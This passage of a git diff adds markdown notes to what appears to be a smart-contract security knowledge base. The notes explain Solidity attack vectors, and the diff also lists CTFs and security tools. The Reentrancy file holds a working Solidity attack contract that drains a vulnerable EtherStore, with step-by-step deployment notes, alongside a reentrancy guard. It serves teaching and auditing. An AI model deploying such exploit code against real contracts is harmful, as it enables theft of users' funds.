Deletion](https://blog.solidityscan.com/improper-array-deletion-82672eed8e8d) diff --git a/attack-vectors/Incorrect_Interface.md b/attack-vectors/Incorrect_Interface.md new file mode 100644 index 0000000..5ae92ea --- /dev/null +++ b/attack-vectors/Incorrect_Interface.md @@ -0,0 +1,3 @@ +A contract interface defines functions with a different type signature than the implementation, causing two different method id's to be created. As a result, when the interfact is called, the fallback method will be executed. + +- [Trail of Bits: Incorrect Interfaces](https://github.com/crytic/not-so-smart-contracts/tree/master/incorrect_interface) diff --git a/attack-vectors/Insufficient_Gas_Attacks.md b/attack-vectors/Insufficient_Gas_Attacks.md new file mode 100644 index 0000000..236ae30 --- /dev/null +++ b/attack-vectors/Insufficient_Gas_Attacks.md @@ -0,0 +1 @@ +If a function makes a call to an external subroutine with `call`, an attacker may be able to cause the function to only partially execute by sending a (precise) insufficient amount of gas. diff --git a/attack-vectors/Integer_Arithmetic.md b/attack-vectors/Integer_Arithmetic.md new file mode 100644 index 0000000..212e18a --- /dev/null +++ b/attack-vectors/Integer_Arithmetic.md @@ -0,0 +1,6 @@ +Neither the EVM nor Solidity (before v0.8) provide builtin error reporting for arithmetic overflow/underflow. Consequently, applications need to check for these cases themselves. Furthermore, one cannot make the (seemingly reasonable) assumption that `x != -x`, because of [this case](https://gist.github.com/endorphin/b9d78601930922aea12ed3ce6a286576). + +Note that since Solidity version 0.8, arithmetic operations revert on overflow and underflow. The developer can choose to bypass these checks by using the `unchecked` keyword, for example with `unchecked { x = a + b; }` + +- [SWC Registry: Integer Overflow and Underflow](https://smartcontractsecurity.github.io/swc-registry/docs/swc-101) +- [Trail of Bits: Integer Overflow](https://github.com/crytic/not-so-smart-contracts/tree/master/integer_overflow) diff --git a/attack-vectors/Loop_through_long_arrays.md b/attack-vectors/Loop_through_long_arrays.md new file mode 100644 index 0000000..9ae25e5 --- /dev/null +++ b/attack-vectors/Loop_through_long_arrays.md @@ -0,0 +1,3 @@ +If you are used to other programming languages you might be tempted to use arrays more than you actually should. + +Keep in mind that executing functions in Ethereum costs gas (money), and transactions have a gas limit by definition (the gas limit of a single block). If for some reason your smart contract uses a very long array, and at some point, you need to iterate through it, you might reach the gas limit making the function unexecutable. diff --git a/attack-vectors/Message_call_with_hardcoded_gas_amount.md b/attack-vectors/Message_call_with_hardcoded_gas_amount.md new file mode 100644 index 0000000..fe0d798 --- /dev/null +++ b/attack-vectors/Message_call_with_hardcoded_gas_amount.md @@ -0,0 +1 @@ +The `transfer()` and `send()` functions forward a fixed amount of 2300 gas. Historically, it has often been recommended to use these functions for value transfers to guard against reentrancy attacks. However, the gas cost of EVM instructions may change significantly during hard forks which may break already deployed contract systems that make fixed assumptions about gas costs. For example. [EIP 1884](https://eips.ethereum.org/EIPS/eip-1884) broke several existing smart contracts due to a cost increase in the SLOAD instruction. diff --git a/attack-vectors/Miners_Attack.md b/attack-vectors/Miners_Attack.md new file mode 100644 index 0000000..32433ed --- /dev/null +++ b/attack-vectors/Miners_Attack.md @@ -0,0 +1,16 @@ +# Miners Attack + +## Transaction Ordering / Frontrunning + +Since miners always get rewarded via gas fees for running code on behalf of externally owned addresses (EOA), users can specify higher fees to have their transactions mined more quickly. Since the Ethereum blockchain is public, everyone can see the contents of others' pending transactions. This means if a given user is revealing the solution to a puzzle or other valuable secret, a malicious user can steal the solution and copy their transaction with higher fees to preempt the original solution. If developers of smart contracts are not careful, this situation can lead to practical and devastating front-running attacks. + +- [Dasp: Front running](https://www.dasp.co/#item-7) +- [Sigmaprime: Race Conditions / Front-Running](https://blog.sigmaprime.io/solidity-security.html#race-conditions) +- [SWC Registry: Transaction Order Dependence](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-114) + +## Timestamp Manipulation + +Many contracts use block timestamps for various purposes. Keep in mind that miners can slightly adjust them to their advantage. + +- [Sigmaprime: Block Timestamp Manipulation](https://blog.sigmaprime.io/solidity-security.html#block-timestamp) +- [SWC Registry: Timestamp Dependence](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-116) diff --git a/attack-vectors/Offline_Owner.md b/attack-vectors/Offline_Owner.md new file mode 100644 index 0000000..4ef061d --- /dev/null +++ b/attack-vectors/Offline_Owner.md @@ -0,0 +1 @@ +Some systems may become inoperable if the owner or some other authority goes offline / loses their private key. This should be avoided. diff --git a/attack-vectors/Oracle_Manipulation.md b/attack-vectors/Oracle_Manipulation.md new file mode 100644 index 0000000..ce5fb2e --- /dev/null +++ b/attack-vectors/Oracle_Manipulation.md @@ -0,0 +1 @@ +Sometimes protocols requires offchain data. If a protocol is only gettting data from only one source then they could get incorrect data. diff --git a/attack-vectors/Outdated_Compiler.md b/attack-vectors/Outdated_Compiler.md new file mode 100644 index 0000000..69c9156 --- /dev/null +++ b/attack-vectors/Outdated_Compiler.md @@ -0,0 +1,4 @@ +Never use a compiler version that is significantly out of date. Implementations should specify an exact compiler version with pragma. + +- [SWC Registry: Outdated Compiler](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-102) +- [SWC Registry: Floating Pragma](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-103) diff --git a/attack-vectors/Payable_Multicall.md b/attack-vectors/Payable_Multicall.md new file mode 100644 index 0000000..23a7d12 --- /dev/null +++ b/attack-vectors/Payable_Multicall.md @@ -0,0 +1,5 @@ +This is present when Multicall is used on any contract which reads the value of `msg.value`. Multicall is a pattern to call several contract endpoints in one transaction, using `delegatecall`. A contract endpoint may implicitly assume that it is called in a single transaction, by looking at `msg.value`. Since the value is defined per transaction, calling the same endpoint twice in one multicall means that the same `msg.value` may be read several times, even though the value was only transferred once. + +For example, if a token contract accepts ETH in exchange for tokens in a `swap` function, and the contract implements multicall, an attacker may call swap several times in one transaction. Let's say the attacker sends along 1 ETH in the multicall transaction, which would normally give them 100 tokens. Each call to the `swap` function will read `msg.value` and transfer 100 tokens to the attacker. If the attacker calls `swap` 10 times in one multicall, they will get 1,000 tokens in exchange for 1 ETH. + +- [Uniswap v3 issue](https://github.com/Uniswap/v3-periphery/issues/52) diff --git a/attack-vectors/Precision_Loss_in_Calculations.md b/attack-vectors/Precision_Loss_in_Calculations.md new file mode 100644 index 0000000..0fc19a4 --- /dev/null +++ b/attack-vectors/Precision_Loss_in_Calculations.md @@ -0,0 +1 @@ +Smart contracts are high-level programs that are translated into EVM byte code and then deployed to the Ethereum blockchain for execution. Solidity mathematic procedures are similar to other programming languages. The following arithmetic operations are applicable to Solidity: Addition, Subtraction, Multiplication, Division (x / y), Modulus (x% y), Exponential (x\*\*y) In the case of performing Integer division, Solidity may truncate the result. Hence we must multiply before dividing to prevent such loss in precision diff --git a/attack-vectors/Privacy_Illusion.md b/attack-vectors/Privacy_Illusion.md new file mode 100644 index 0000000..1b938fe --- /dev/null +++ b/attack-vectors/Privacy_Illusion.md @@ -0,0 +1,10 @@ +Developers may forget that everything on chain is public, and store private data in the open. + +- Checkout Ethernaut level for this + + + +### More resources + +- [Accessing Private Data - Solidity by example](https://solidity-by-example.org/hacks/accessing-private-data/) +- https://kubertu.com/blog/solidity-storage-in-depth/ diff --git a/attack-vectors/Proxy_Storage_Collision.md b/attack-vectors/Proxy_Storage_Collision.md new file mode 100644 index 0000000..9ec344d --- /dev/null +++ b/attack-vectors/Proxy_Storage_Collision.md @@ -0,0 +1 @@ +While using Proxy contract developers should be very carefull about position of storage variables as in Proxy contract the name of the varible doesn't matter but their position do. diff --git a/attack-vectors/Reentrancy.md b/attack-vectors/Reentrancy.md new file mode 100644 index 0000000..09fa0bf --- /dev/null +++ b/attack-vectors/Reentrancy.md @@ -0,0 +1,118 @@ +Reentrancy occurs when external contract calls are allowed to make new calls to the calling contract before the initial execution is complete. For a function, this means that the contract state may change in the middle of its execution as a result of a call to an untrusted contract or the use of a low level function with an external address. + +## Example + +Let's say that contract A calls contract B. + +Reentracy exploit allows B to call back into A before A finishes execution. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +/* +EtherStore is a contract where you can deposit and withdraw ETH. +This contract is vulnerable to re-entrancy attack. +Let's see why. + +1. Deploy EtherStore +2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore +3. Deploy Attack with address of EtherStore +4. Call Attack.attack sending 1 ether (using Account 3 (Eve)). + You will get 3 Ethers back (2 Ether stolen from Alice and Bob, + plus 1 Ether sent from this contract). + +What happened? +Attack was able to call EtherStore.withdraw multiple times before +EtherStore.withdraw finished executing. + +Here is how the functions were called +- Attack.attack +- EtherStore.deposit +- EtherStore.withdraw +- Attack fallback (receives 1 Ether) +- EtherStore.withdraw +- Attack.fallback (receives 1 Ether) +- EtherStore.withdraw +- Attack fallback (receives 1 Ether) +*/ + +contract EtherStore { + mapping(address => uint) public balances; + + function deposit() public payable { + balances[msg.sender] += msg.value; + } + + function withdraw() public { + uint bal = balances[msg.sender]; + require(bal > 0); + + (bool sent, ) = msg.sender.call{value: bal}(""); + require(sent, "Failed to send Ether"); + + balances[msg.sender] = 0; + } + + // Helper function to check the balance of this contract + function getBalance() public view returns (uint) { + return address(this).balance; + } +} + +contract Attack { + EtherStore public etherStore; + + constructor(address _etherStoreAddress) { + etherStore = EtherStore(_etherStoreAddress); + } + + // Fallback is called when EtherStore sends Ether to this contract. + fallback() external payable { + if (address(etherStore).balance >= 1 ether) { + etherStore.withdraw(); + } + } + + function attack() external payable { + require(msg.value >= 1 ether); + etherStore.deposit{value: 1 ether}(); + etherStore.withdraw(); + } + + // Helper function to check the balance of this contract + function getBalance() public view returns (uint) { + return address(this).balance; + } +} +``` + +## Preventative Techniques + +Ensure all state changes happen before calling external contracts +Use function modifiers that prevent re-entrancy +Here is a example of a re-entracy guard + +``` +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +contract ReEntrancyGuard { + bool internal locked; + + modifier noReentrant() { + require(!locked, "No re-entrancy"); + locked = true; + _; + locked = false; + } +} +``` + +Example taken from [Solidity by Example](https://solidity-by-example.org/hacks/re-entrancy/) + +# + +- [SWC Registry: Reentrancy](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-107) +- [Sigmaprime: Reentrancy](https://blog.sigmaprime.io/solidity-security.html#reentrancy) +- [Trail of Bits: Reentrancy](https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy) diff --git a/attack-vectors/Right-To-Left-Override_control_character_(U+202E).md b/attack-vectors/Right-To-Left-Override_control_character_(U+202E).md new file mode 100644 index 0000000..db2fd56 --- /dev/null +++ b/attack-vectors/Right-To-Left-Override_control_character_(U+202E).md @@ -0,0 +1,7 @@ +Malicious actors can use the Right-To-Left-Override unicode character to force RTL text rendering and confuse users as to the real intent of a contract. + +## Remediation + +There are very few legitimate uses of the U+202E character. It should not appear in the source code of a smart contract. + +- [SWC Registry: Right-To-Left-Override control character (U+202E)](https://swcregistry.io/docs/SWC-130) diff --git a/attack-vectors/Sandwich_Attack.md b/attack-vectors/Sandwich_Attack.md new file mode 100644 index 0000000..22c1ce6 --- /dev/null +++ b/attack-vectors/Sandwich_Attack.md @@ -0,0 +1,4 @@ +At its core, a sandwich attack is a form of front-running that primarily targets decentralized finance protocols and services. +In a sandwich attack, a nefarious trader looks for a pending transaction on the network of their choice, e.g., Ethereum. The sandwiching occurs by placing one order right before the trade and one right after it. In essence, the attacker will front-run and back-run simultaneously, with the original pending transaction sandwiched in between. + +The purpose of placing these two orders and surrounding pending transactions is to manipulate asset prices. First, the culprit will buy the asset the user is swapping to — e.g., using LINK to exchange to ETH — with their knowledge of ETH's price increasing. Then, the culprit will buy ETH for a lower price in order to let the victim buy at a higher value. The attacker will then sell ETH at a higher price afterward. diff --git a/attack-vectors/Signature_Replay.md b/attack-vectors/Signature_Replay.md new file mode 100644 index 0000000..d49020e --- /dev/null +++ b/attack-vectors/Signature_Replay.md @@ -0,0 +1,6 @@ +# Signature Replay + +If a smart contract system performs any sort of signature verification, it may be vulnerable to signature replay attacks. (Keep in mind that any signature sent to a contract via calldata will be publicly available.) Keeping track of processed signatures in storage is a simple way to prevent such attacks. Furthermore, in some cases, signatures may be malleable, i.e. an attacker may be able to modify them (so that they may be replayed) without destroying their validity. + +- [SWC Registry: Missing Protection Against Signature Replay Attacks](https://swcregistry.io/docs/SWC-121) +- [SWC Registry: Signature Malleability](https://swcregistry.io/docs/SWC-117) diff --git a/attack-vectors/Unchecked_External_Calls.md b/attack-vectors/Unchecked_External_Calls.md new file mode 100644 index 0000000..3ec52f0 --- /dev/null +++ b/attack-vectors/Unchecked_External_Calls.md @@ -0,0 +1,7 @@ +In Solidity, there are multiple ways to call an external contract and send ether. The function `transfer` reverts if the transfer fails. However, the functions `call` and `send` return false. Programmers may mistakenly expect `call` and `send` to revert, and fail to check for their return value. + +- [DASP: Unchecked Low Level Calls](https://www.dasp.co/#item-4) + +- [Sigmaprime: Unchecked CALL Return Values](https://blog.sigmaprime.io/solidity-security.html#unchecked-calls) + +- [Trail of Bits: Unchecked External Calls](https://github.com/crytic/not-so-smart-contracts/tree/master/unchecked_external_call) diff --git a/attack-vectors/Uninitialized_Storage_Pointers.md b/attack-vectors/Uninitialized_Storage_Pointers.md new file mode 100644 index 0000000..5f44c32 --- /dev/null +++ b/attack-vectors/Uninitialized_Storage_Pointers.md @@ -0,0 +1,4 @@ +Local variables in solidity functions default to `storage` or `memory` depending on their type. Uninitialized local storage variables can point to unexpected storage locations in the contract, leading to intentional or unintentional vulnerabilities. + +- [Sigmaprime: Uninitialized Storage Pointers](https://blog.sigmaprime.io/solidity-security.html#storage) +- [SWC Registry: Uninitialized Storage Pointer](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-109) diff --git a/attack-vectors/Unprotected_Upgrades.md b/attack-vectors/Unprotected_Upgrades.md new file mode 100644 index 0000000..3e9219e --- /dev/null +++ b/attack-vectors/Unprotected_Upgrades.md @@ -0,0 +1,8 @@ +There is a lot that can go wrong with smart contract upgrades, and it would not make sense to list them here. 99% of the time, you should use OpenZeppelin’s upgraded plug-in tools for hardhat or truffle. But if you want a preview, this can help: + +1. Storage slots can clash. +2. Information stored via constructors or immutable variables won’t be available in the next contract. +3. Initializers need to be protected. +4. Selfdestruct can prevent upgrades. + +- [All you need to know about UPGRADABLE Smart Contracts](https://trustchain.medium.com/all-you-need-to-know-about-upgradable-proxies-865704a28bc7) diff --git a/attack-vectors/Unsafe_Delegatecall.md b/attack-vectors/Unsafe_Delegatecall.md new file mode 100644 index 0000000..5b3667a --- /dev/null +++ b/attack-vectors/Unsafe_Delegatecall.md @@ -0,0 +1,5 @@ +Solidity allows calling external contracts via the DELEGATECALL opcode, which executes the code of an external contract in the persistent context of the present contract. Certain contracts perform DELEGATECALL calls using user-provided call data, which can effectively give full control to an attacker. + +-[Sigmaprime: delegatecall](https://blog.sigmaprime.io/solidity-security.html#delegatecall) + +- [SWC Registry: delegatecall to Untrusted Callee](https://swcregistry.io/docs/SWC-112) diff --git a/attack-vectors/Unused_Variable.md b/attack-vectors/Unused_Variable.md new file mode 100644 index 0000000..dcbd1f1 --- /dev/null +++ b/attack-vectors/Unused_Variable.md @@ -0,0 +1,7 @@ +Unused variables are allowed in Solidity and they do not pose a direct security issue. It is best practice though to avoid them as they can: + +- cause an increase in computations (and unnecessary gas consumption) +- indicate bugs or malformed data structures and they are generally a sign of poor code quality +- cause code noise and decrease readability of the code + +- [SWC Registry: Presence of unused variables](https://swcregistry.io/docs/SWC-131) diff --git a/attack-vectors/Use_of_Deprecated_Solidity_Functions.md b/attack-vectors/Use_of_Deprecated_Solidity_Functions.md new file mode 100644 index 0000000..5cfbd1b --- /dev/null +++ b/attack-vectors/Use_of_Deprecated_Solidity_Functions.md @@ -0,0 +1,3 @@ +Several functions and operators in Solidity are deprecated. Using them leads to reduced code quality. With new major versions of the Solidity compiler, deprecated functions and operators may result in side effects and compile errors. + +- [SWC Registry: Use of Deprecated Solidity Functions](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-111) diff --git a/attack-vectors/Variable_Shadowing.md b/attack-vectors/Variable_Shadowing.md new file mode 100644 index 0000000..b80fb5e --- /dev/null +++ b/attack-vectors/Variable_Shadowing.md @@ -0,0 +1,5 @@ +Variable shadowing occurs when a variable declared within a certain scope (decision block, method, or inner class) has the same name as a variable declared in an outer scope. If multiple variables with the same name are declared in different scopes, there may be unintended effects. This is easy to miss in the case where a contract inherits from a contract implemented in a separate file. + +- [Trail of Bits: Variable Shadowing](https://github.com/crytic/not-so-smart-contracts/tree/master/variable%20shadowing) +- [SWC Registry: Incorrect Inheritance Order](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-125) +- [SWC Registry: Shadowing State Variables](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-119) diff --git a/attack-vectors/Writes_to_Arbitrary_Storage_Locations.md b/attack-vectors/Writes_to_Arbitrary_Storage_Locations.md new file mode 100644 index 0000000..366f839 --- /dev/null +++ b/attack-vectors/Writes_to_Arbitrary_Storage_Locations.md @@ -0,0 +1,3 @@ +A smart contract's data (e.g., storing the owner of the contract) is persistently stored at some storage location (i.e., a key or address) on the EVM level. The contract is responsible for ensuring that only authorized user or contract accounts may write to sensitive storage locations. If an attacker is able to write to arbitrary storage locations of a contract, the authorization checks may easily be circumvented. This can allow an attacker to corrupt the storage; for instance, by overwriting a field that stores the address of the contract owner. + +- [SWC Registry: Write to Arbitrary Storage Location](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-124) diff --git a/attack-vectors/Wrong_inheritance.md b/attack-vectors/Wrong_inheritance.md new file mode 100644 index 0000000..4ebd8c8 --- /dev/null +++ b/attack-vectors/Wrong_inheritance.md @@ -0,0 +1,5 @@ +Solidity supports multiple inheritance, meaning that one contract can inherit several contracts. Multiple inheritance introduces ambiguity called [Diamond Problem](https://en.wikipedia.org/wiki/Multiple_inheritance#The_diamond_problem): if two or more base contracts define the same function, which one should be called in the child contract? Solidity deals with this ambiguity by using reverse [C3 Linearization](https://en.wikipedia.org/wiki/C3_linearization), which sets a priority between base contracts. + +That way, base contracts have different priorities, so the order of inheritance matters. Neglecting inheritance order can lead to unexpected behavior. + +- [SWC Registry: Incorrect Inheritance Order](https://swcregistry.io/docs/SWC-125) diff --git a/tools-and-ctfs/CTFs.md b/tools-and-ctfs/CTFs.md new file mode 100644 index 0000000..dcb4cfb --- /dev/null +++ b/tools-and-ctfs/CTFs.md @@ -0,0 +1,19 @@ +The best way to improve your security skills is by playing CTFs. + +## CTFs to Enhance your Solidity Skills + +- [Damn Vulnerable DeFi](https://damnvulnerabledefi.xyz) + +- [Ethernaut](https://ethernaut.openzeppelin.com) + +- [Capture the Ether](https://capturetheether.com) + +- [Immunefi Community Challenges](https://github.com/immunefi-team/community-challenges) + +- [Ethereum Hacker](https://ethereumhacker.com/) + +- [EtherHack](https://etherhack.positive.com/#/) + +## Resources + +- [Ethernaut All Level Solutions](https://www.youtube.com/playlist?list=PLiAoBT74VLnmRIPZGg4F36fH3BjQ5fLnz) diff --git a/tools-and-ctfs/Web3_Security_Tools.md b/tools-and-ctfs/Web3_Security_Tools.md new file mode 100644 index 0000000..34636f7 --- /dev/null +++ b/tools-and-ctfs/Web3_Security_Tools.md @@ -0,0 +1,38 @@ +## Tools + +### Visualization + +- [ethereum-graph-debugger](https://github.com/fergarrui/ethereum-graph-debugger) - A graphical EVM debugger. Displays the entire program control flow graph. +- [Slither](https://github.com/trailofbits/slither) - Slither can map method visibility and modifiers, state variables that are read and written, calls, and can print the inheritance graph of a smart contract +- [Solgraph](https://github.com/raineorshine/solgraph) - Generates DOT graphs with function control flow of a solidity contract +- [Surya](https://github.com/ConsenSys/surya) - Generates various visual outputs of function call graphs +- [sol-function-profiler](https://github.com/EricR/sol-function-profiler) - Solidity contract function profiler + +### Linters + +- [Remix](https://remix.ethereum.org/) - Browser-based Solidity IDE with linting features +- [Solhint](https://github.com/protofire/solhint) - Linter for both security and style-guide validations. It strictly adheres to the [Solidity Style Guide](https://solidity.readthedocs.io/en/latest/style-guide.html). +- [Ethlint](https://github.com/duaraghav8/Ethlint) - Linter for both security and style-guide validations. Does not strictly adhere to the Solidity Style Guide. + +### Bug finding tools + +- [Echidna](https://github.com/trailofbits/echidna) - Fuzzer for Ethereum smart contracts. Uses property testing to generate malicious inputs that break smart contracts. +- [Manticore](https://github.com/trailofbits/manticore) - Symbolic execution tool for Ethereum smart contracts that includes detectors for common security flaws +- [Mythril](https://github.com/ConsenSys/mythril/) - Open-source security analysis tool for Ethereum smart contracts built around detector modules +- [Securify v2](https://github.com/eth-sri/securify2) - Static analysis tool from ChainSecurity +- [Slither](https://github.com/trailofbits/slither) - Static analysis framework, written in Python, with detectors for many common Solidity issues + +### Verification tools + +- [KEVM](https://github.com/kframework/evm-semantics) - K Semantics of the Ethereum Virtual Machine (EVM) +- [Manticore](https://github.com/trailofbits/manticore) - Symbolic execution tool for EVM + +### Reversing tools + +- [abi-decompiler](https://github.com/beched/abi-decompiler) - EVM reverse engineering helper utility +- [ethereum-dasm](https://github.com/tintinweb/ethereum-dasm) - EVM disassembler with static and dynamic analysis abilities, including function signature lookup +- [Ethersplay](https://github.com/trailofbits/ethersplay) - Visual disassembler for EVM bytecode built on Binary Ninja +- [evmlab](https://github.com/ethereum/evmlab) - Utilities for interacting with the Ethereum virtual machine +- [IDA-EVM](https://github.com/trailofbits/ida-evm) - IDA plugin to view EVM instructions +- [pyevmasm](https://github.com/trailofbits/pyevmasm) - EVM assembler and disassembler with a CLI and a Python API +- [Rattle](https://github.com/trailofbits/rattle) - EVM binary static analysis framework. Produces SSA representations of EVM code.